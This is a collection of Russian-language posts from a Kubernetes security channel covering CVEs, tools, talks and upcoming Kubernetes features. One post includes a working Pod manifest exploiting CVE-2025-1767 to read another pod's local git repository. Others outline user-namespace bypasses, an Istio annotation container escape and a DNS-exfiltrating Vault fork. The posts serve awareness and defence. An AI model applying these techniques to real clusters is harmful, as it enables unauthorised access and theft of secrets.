Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission
Сегодня хотим поделиться с вами статьей Signed container images in Kubernetes with Sigstore and HashiCorp Vault.
В ней автор рассказывает о том, как можно использовать подписанные docker images
совместно с Vault
, а именно более подробно говорит про:- написание политик
- конфигуририрование Vault
- подпись и верификация container image
- загрузка подписи в репозиторий
- конфигурирование image signing policies через CRD
Сегодня еще один пост про Linux user namespace
;)
Но уже про баги, точнее про обход механизма безопасности, который придумали и внедрили разработчики Ubuntu
в свою ОС (в других ОС такой механизм вообще отсутствует). Оригинальный материал в заметке от исследователей называется "Three bypasses of Ubuntu's unprivileged user namespace restrictions" и описывает 3
способа обхода механизма sysctl kernel.apparmor_restrict_unprivileged_userns
, через:
1) aa-exec
2) busybox
3) LD_PRELOAD
Если кратко, то задача данного механизма в том чтобы когда непривилегированный пользователь создавал unprivileged user namespace
в нем не содержалось опасных административных capabilities
(типа CAP_SYS_ADMIN
или CAP_NET_ADMIN
), которые чрезвычайно увеличивают поверхность атаки на ядро ОС.
Получение таких привилегий может в дальнейшем использоваться для ядерных эксплойтов, например чтобы сбежать из контейнера. О таком мы уже рассказывали тут.
В официальном блоге Kubernetes
вышла статья "Kubernetes v1.33 sneak peek", посвященная предстоящему релизу новой версии. С точки зрения безопасности этот релиз примечателен тем, что в нем наконец-то спустя 9
лет до GA
доберётся KEP-127: Support User Namespaces in pods! И это прям очень круто для безопасности контейнеров в Kubernetes
- можно сказать настоящая веха и понятия root
пользователя будет делиться на до этого момента и после этого момента) Почему именно так? Можно ознакомиться в прошлогоднем докладе с нашей конференции БеКон под названием "Linux user namespace в чертогах Kubernetes".
В преддверии KubeCon Europe 2025 прошел Cloud Native Rejekts Europe 2025 и уже доступны все записи докладов:
- Первый день зал The Nash
- Первый день зал The Waterloo
- Второй день зал The Nash
- Второй день зал The Waterloo
Отдельно отметить доклады:
- Kyverno Chronicles: A DevSecOps Tale
- Immutable Turtles All the Way Down – Image-Based Kubernetes to power In-Place Updates
- The future of configurability in Kubernetes with Common Expression Language (CEL)
- Pod Deep Dive: Everything You Didn't Know You Needed to Know
- What I wish I knew about container security
- Who Secures the Service Mesh? Mind the Gap in Your Mesh
- Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments
- The Service Mesh Wars: A New Hope for Kubernetes
- The Kubernetes Guardians: A Deep Dive Into Your Security Avengers
- API-Driven Security Automation for AKS: Falco Talon meets eBPF-powered Retina
Смотреть, не пересмотреть, но мы вам позже обо всем этом расскажем ;)
Наши друзья из Флант сделали картинку k8s security iceberg про механизмы безопасности в Kubernetes
и их уровни: от более простых к более сложным. Тоесть с чего по их мнению обычно начинают и к чему можно прийти в увлекательном пути обеспечения безопасности.
На первый взгляд может показать, что подобное сделать легко, но это не так. В своих подходах к подобному у меня получалось или все очень просто - всего лишь несколько пунктов на каждом уровне или каждый пункт разбивался еще на 5-10 подпунктов. В общем детализация сильно усложняет подобное... На пример, можно просто написать security feature gates
и admission controllers
, или перечислить конкретные.
А как насчет взять и сделать совместную редакцию K8s(in)security community edition данного айсберга?) Давайте в комментариях к данному посту попробуем расширить/поправить/улучшить/... данную версию. Считаем что уровни айсберга идут сверху вниз от 1 до 8.
Сегодня наша команда Luntry в рамках конференции Deckhouse Conf 2025 представит доклад "Стандарт безопасности контейнеров NIST 800-190 в 2025 году".
В процессе подготовки выступления были проанализированы документы NIST
серии SP 800, связанные так или иначе с микросервисами, контейнерами, облаками и Cloud Native
технологиями в общем.
В прикрепленной картинке вы можете наблюдать их перечень и при желании уже ознакомиться самостоятельно ;)
В Kubernetes
раскрыта очередная уязвимость – CVE-2024-7598: Network restriction bypass via race condition during namespace termination.
Наверняка вы замечали, что некоторые ресурсы могут висеть в статусе terminated
при удалении namespace
целиком. Так вот порядок удаления ресурсов при таком namespace termination
не определен, и это может привести к тому, что в какой-то момент времени Pods
будут всё ещё работать, а Network Policy
уже не будет существовать и применяться к Pods
. Такое удаление ресурсов вызывает состояние гонки, которое в свою очередь даёт возможность обойти сетевые ограничения, наложенные Network Policy
.
Аналогично совсем недавно раскрытой CVE-2025-1767 исправлений для текущих версий нет. Однако, очередность удаления ресурсов уже реализована в рамках KEP 5080 и будет завезена в статусе alpha
в 1.33
.
В качестве мер митигации предлагается вручную удалять Workloads
перед удалением Namespace
. Также предлагается использовать Network Policy Finalizer.
Уязвимость затрагивает Kubernetes
кластера >= v1.3
версии и имеет оценку Low
(3.1
) по CVSS
.
Сегодня нашему каналу k8s (in)security исполняется 5 лет !!!
Мы всей нашей командой Luntry стараемся держать уровень и радовать вас новыми интересными материалами и мыслями про безопасность контейнеров и Kubernetes
!
Не так давно мы пересекли рубеж в 10 000
подписчиков и продолжаем уверенно расти благодаря вам и формировать отличное сообщество. Вместе с вами в этом году мы уже проведем 3
специализированную конференцию БеКон!
Будем рады если поздравите нас в комментариях и/или поделитесь ссылкой на наш канал с друзьями, что интересуются данной темой.
P.S. А для меня это всегда двойной праздник, так как День рождение и у моего сынишки, который на 1 год младше данного канала)
Конкурс!7
и 8
апреля в Москве пройдет DevOpsConf 2025! Там как всегда будем много интересного по теме контейнеров, Kubernetes
и безопасности этих технологий.
Мы разыгрываем:
- 1
офлайн билет
- 2
онлайн билета
И так, Kubernetes
очень активно развивается и с каждой новой версией там появляется все больше новых возможностей! Это легко можно увидеть, на пример, в проекте Kaniuse, который является Kubernetes Feature Status Tracker
.
Для того чтобы выиграть один из призов в комментариях к данному посту напиши какую вы фичу ждете и почему, описав конкретную вашу боль. Эта фича как уже может иметь какой-то KEP, так и полностью придумана вами. Чем подробнее вы опишите тем больше шансов выиграть.
Варианты принимаем до 27
марта.
P.S. Наша команда будет на конференции и мы с радостью пообщаемся в офлайн.
P.S.S. Промокод на скидку в 5%
при покупке билета dc25_k8security
;)
Вернемся к непопулярной у нас теме (но при этом достаточной интересной) - Windows containers
и поможет нам в этом статья "How do COWs (Containers on Windows) work?" с хорошей визуализацией и сравнением с Linux containers
.
При этом отдельно хочется отметить что аналогичный runc
компонент в Windows
под названием hcsshim (Host Compute Service Shim)
доступен в исходниках и изучить его можно тут.
Будущая версия containerd 2.1
еще на шаг приблизит возможность в Kubernetes
делать live
миграцию сервисов! Изучите данный тикет "Support container restore through CRI/Kubernetes #10365" - там много всего интересного с исторической репрезентацией данного вопроса. При этом есть и параллели с Podman
и CRI-O
, в которых эта фича тоже есть.
С точки зрения ИБ напомним, что это упростить процесс форензики в контейнерах нативными средствами контейнеров.
Очередная unpatchable
CVE
в Kubernetes
– CVE-2025-1767: GitRepo Volume Inadvertent Local Repository Access.
Уязвимость позволяет пользователям с правами на создание Pods
использовать gitRepo
Volumes
для доступа к локальным git
-репозиториям, принадлежащим другим Pod'ам
на той же Node
. Поскольку функциональность in-tree gitRepo Volumes
была признана deprecated
и не будет получать обновления безопасности, все кластеры, использующие эту функцию, остаются уязвимыми. Тем не менее уязвимость получила оценку 6.5
по CVSS
.
В качестве меры митигации предлагается использовать init
контейнер для выполнения операции git clone
, а затем смонтировать каталог в основной контейнер:
Читать полностью…
apiVersion: v1
kind: Pod
metadata:
name: git-repo-demo
spec:
initContainers:
- name: git-clone
image: alpine/git
args:
- clone
- --single-branch
- --
- https://github.com/kubernetes/kubernetes
- /repo
volumeMounts:
- name: git-repo
mountPath: /repo
containers:
- name: busybox
image: busybox
args: ['sleep', '100000']
volumeMounts:
- name: git-repo
mountPath: /repo
volumes:
- name: git-repo
emptyDir: {}
Новый режим nftables
для kube-proxy
был представлен в качестве альфа-функции в Kubernetes 1.29
. В настоящее время он находится в бета-версии, но в версии 1.33
(выйдет в конце апреля) ожидается появление в GA
. Новый режим устраняет давние проблемы с производительностью режима iptables
, и всем пользователям, работающим на системах с достаточно свежими ядрами, рекомендуется опробовать его.
Более подробно про сравнение и бенчмарки со старым режимом можно почитать в статье NFTables mode for kube-proxy.
Недавно мы рассказывали как нужно смотреть CISO
(и другим на С-level
уровне) на безопасность контейнеров и Kubernetes
. А теперь 25 марта мы расскажем это с ориентиром на специалистов SOC (Security Operation Center)
. Это будет полезно как внутренним, так и внешним SOC
.
Зарегистрироваться можно тут.
14 марта наша команда Luntry выступит на митапе CyberCamp, который в этот раз посвящён сфере Digital Forensics & Incident Response
, с темой «Форензика для контейнеров и контейнерных инфраструктур».
Расследование инцидентов в среде, где практически все временно и эфемерно, совсем не простая задача. И с виду может показаться, что это свойство среды дает преимущество злоумышленникам. Но технологии не стоят на месте, и на стороне защиты все становится не так печально.
В своем выступлении мы разберем, как и что нам может сегодня помочь проводить форензику в контейнерах.
Зарегистрироваться на митап можно по ссылке.
Недавно прошел KubeCon + CloudNativeCon Europe 2025 и видео еще не доступны, но есть уже слайды по некоторым докладам.
Хочется отметить доклад "Enhancing Software Composition Analysis Resilience Against Container Image Obfuscation", который продолжает тему сокрытия уязвимостей в образах контейнеров. Мы писали об этом тут, тут и тут. Но на этот раз ребят подошли тут к вопросу с академической точки зрения и со всеми соответствующими атрибутами этого. И у них получилось отлично дополнить картину прошлых работ. Также они выложили репозитарий с кодом "Container obfuscation benchmark", чтобы можно было повторить их эксперимент.
В очередной раз хочется сказать, что стройте ZeroTrust
защиту, а не вокруг управления уязвимостями - они были, есть и будут (их еще и спрячут от вас).
P.S. Ближайшие 2 дня наша команда на DevOpsConf 2025 - будем рады пообщаться лично!
Подготовка к нашей конференции БеКон 2025 идет полным ходом: программа формируются, партнеры подписываются, первый мерч готовится, стикерпак печатается!
До 3 июня
уже не так-то и много времени осталось и возможность взять билеты по самой низкой цене ;)
P.S. Билетов ограниченное количество, все с учетом размеров площадки, чтобы всем было комфортно.
С 30 по 31 марта в Лондоне, в предверии KubeCon Europe 2025
, прошла конференция Cloud Natvie Rejekts Europe 2025
. Для тех кто не знает, напомним – на этой конференции спикеры это те люди, которых не взяли в основную программу KubeCon
.Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments
– доклад, который не остался незамеченным. В нём, Wojciech Kocjan
, рассказывает как готовить тонкие образы для AI / ML
нужд – минимизируя ненужные зависимости, выбирая безопасные базовых образы, и оптимизируя время сборки.
Доклад доступен в записи трансляции.
Парочку объявлений:
1) CFP БеКон 2025
Сегодня последний день принятия заявок! Далее мы примерно неделю их обработаем и даем ответ с обратной связью. И будем постепенно публиковать программу. До 10 апреля
можно успеть купить билет по ранней цене.
2) Итоги конкурса от DevOpsConf 2025
Победители:
- @malibuup (offline
билет)
- @atai_19 (online
билет)
- @uburro (online
билет)
Поздравляем победителей! И напоминаем про промокод на скидку в 5%
при покупке билета dc25_k8security
.
Сегодня хотим поделиться с вами очередным инструментом – Pinniped.
По сути, Pinniped
выступает в роли authentication service
для Kubernetes
кластера. Он поддерживает различные authenticator types
и OIDC identity providers
, а также имплементирует различные стратегии интеграции с различными дистрибутивами Kubernetes
для облегчения аутентификации.
Исследователи из WIZ
плотно взялись за ресерч очередного продукта, на этот раз – ingress-nginx controller
. В результате было раскрыто 5 уязвимостей, одна из которых имеет severity critical
.
Что интересно, в отличии от прошлых CVE
, что находили в контроллере, для эксплуатации этих уязвимостей (не всех) не нужно создавать ресурс Ingress
. Атакующему необходимо отправлять вредносные запросы через admission review
напрямую в admission controller
.
Максимальный импакт может нанести атакующий, находящийся внутри сети Kubernetes
. И тут на помощь в очередной раз приходит Network Policy
! Не устаем напоминать насколько это must have
механизм.
Несмотря на то, что исследователи довольно подробно описали технические детали для эксплуатации уязвимостей реального эксполйта они не опубликовали. Однако PoC
уже доступны на GitHub.
Забавно, что для уязвимости с максимальной критичностью 9.8
по CVSS
для фикса просто закомментировали уязвимый функционал:
Читать полностью…
/* Deactivated to mitigate CVE-2025-1974
// TODO: Implement sandboxing so this test can be done safely
На нашем сайте в разделе Исследований стали доступны слайды и видеозапись выступления "Форензика для контейнеров и контейнерных инфраструктур" c CyberCamp 2025.
И если вам эта тема интересна и близка, то напоминаем что уже завтра 25 марта в 11:00 состоятся вебинар "Безопасность контейнеров и Kubernetes для SOC". Зарегистрироваться можно тут.
Grant - инструмент (от создателей Syft и Grype) для работы с лицензиями для образов контейнеров, SBOM
, файловых систем и применения правил для построения отчетов соответствия лицензионным политикам/требованиям.
Пример правила:
pattern: "*gpl*"Читать полностью…
name: "deny-gpl"
mode: "deny"
reason: "GPL licenses are not allowed"
exceptions:
- "alpine-base-layout" # We don't link against this package so we don't care about its license
Сегодня вернемся к атакующей тематике, а именно – Mark Manning
представил крутейший доклад Command and KubeCTL: Kubernetes Security for Pentesters and Defenders
на прошедшей вчера конференции B-Sides Reykjavik 2025.
В докладе он рассмотрел Real World Scenario
– начиная с компрометации среды сборки и заканчивая эксфильтрацией секретов в продакшн кластере Kubernetes
.
Также нельзя упомянуть о модификациях некоторых ранее известных инструментов, которые автор сделал специально для доклада:
1) В go-pillage-registries добавлен bruteforce
имен образов для выкачивания их из regsitry
, а также добавлена интеграция с trufflehog
для поиска чувствительных данных внутри образов.
2) В backdoored-vault (форк Vault
) добавлена DNS
эксфильтрация секретов
Со слайдами можно ознакомиться тут.
Возвращаясь к CVE-2025-1767
, о которой мы рассказывали в прошлую пятницу, нельзя не упомянуть о довольно простой эксплуатации этой баги:
apiVersion: v1
kind: Pod
metadata:
name: git-repo-pod-test
spec:
containers:
- name: git-repo-test-container
image: raesene/alpine-containertools
volumeMounts:
- name: git-volume
mountPath: /tmp
volumes:
- name: git-volume
gitRepo:
repository: "/TestingScripts"
directory: "."
Rory McCune
рассказал в свой статье CVE-2025-1767 - Another gitrepo issue.CVE-2025-1767
активизировались обсуждения насчет выпиливания gitRepo Volume
как фичи с версии Kubernetes 1.33
по умолчанию. И как итог, в рамках KEP-5040
, gitRepo Volume driver
был удален. Более подробно обсуждения можно почитать тут и тут.Мы запустили продажу билетов на БеКон 2025! Успейте взять билет по ранней цене.
P.S. Напоминаем про промокоды на скидку на бейджах прошлого года ;)
Команда kubectl cordon одна из важнейших и одна из самых первых команд, которую нужно использовать в случае обнаружения security
инцидента в контейнере на Node
.
И все это для того чтобы не помешать в дальнейшем провозить форензику на данном узле.
P.S. Если тема интересна, то в эту пятницу мы представим доклад «Форензика для контейнеров и контейнерных инфраструктур».
Проект Cyphernetes - это новый язык запросов для Kubernetes
. С примерами запросов можно ознакомиться тут. В данном языке работа с ресурсами k8s
идет как с графом. У проекта есть как CLI
утилита (дает работать через web UI
, REPL
и просто запросом), так и operator
.
После этого наверно можно сказать, что у Kubernetes
уже есть все свое, включая язык запросов =)
На конференции SCaLE 22x был представлен доклад "Many Ways of Building Containers: From Manual to Transparently Built On-Demand Containers" (слайды).
Из него можно узнать как в ручную (hard way
) собрать образ контейнера!
Далее с помощью утилит: Buildpacks
, NixPacks
, Nixery
, Kontain.me
, MinToolkit
.
И еще автор задается вопросом "Как собрать контейнер, который грузится быстро." и дает на него ответ, где речь идет про lazy loads
, eStargz
.
Исследователи из CrowdStrike
недавно выпустили статью с интересным названием – Improving Kubernetes Security: Lessons from an Istio Configuration Finding. В статье они рассказывают, как атакующий с возможностью создавать Pod
с парой определенных аннотаций от Istio
и специально заготовленного образа может сбежать из контейнера (без магии в SecurityContext
).
Так например, используя аннотацию sidecar.istio.io/proxyimage
, можно задать кастомный образ для sidecar
контейнера. А аннотация sidecar.istio.io/enableCoreDump
добавляет sidecar
контейнеру CAP_SYS_ADMIN capability.
Интересно, что команда Istio
не признала это как проблему безопасности, сославшись на то, что пользователь с достаточными привилегиями может запустить такой контейнер и сбежать из него независимо от Istio
. Хотя этот аргумент верен, создание такого debug
контейнера с возможностью выполнения произвольного кода под прикрытием Istio
может значительно затруднить его обнаружение в случае реальной атаки, поскольку sidecar
контейнер Istio
будет выглядеть гораздо более легитимным, чем неучтенный «обычный» привилегированный контейнер.
Данную ситуацию можно контролировать с помощью Policy Engine
, на пример, Kyverno
, но и тут надо очень внимательно писать политику. Стандартное контролирование YAML
ресурса Pod
в разделе Security Context
не поможет. Так что как всегда Policy Engine must have
!
Однако, после обращения ресерчеров из CrowdStrike
, команда Istio
немедленно открыла PR, чтобы удалить функциональность четырехлетней давности. 7 октября PR
был принят.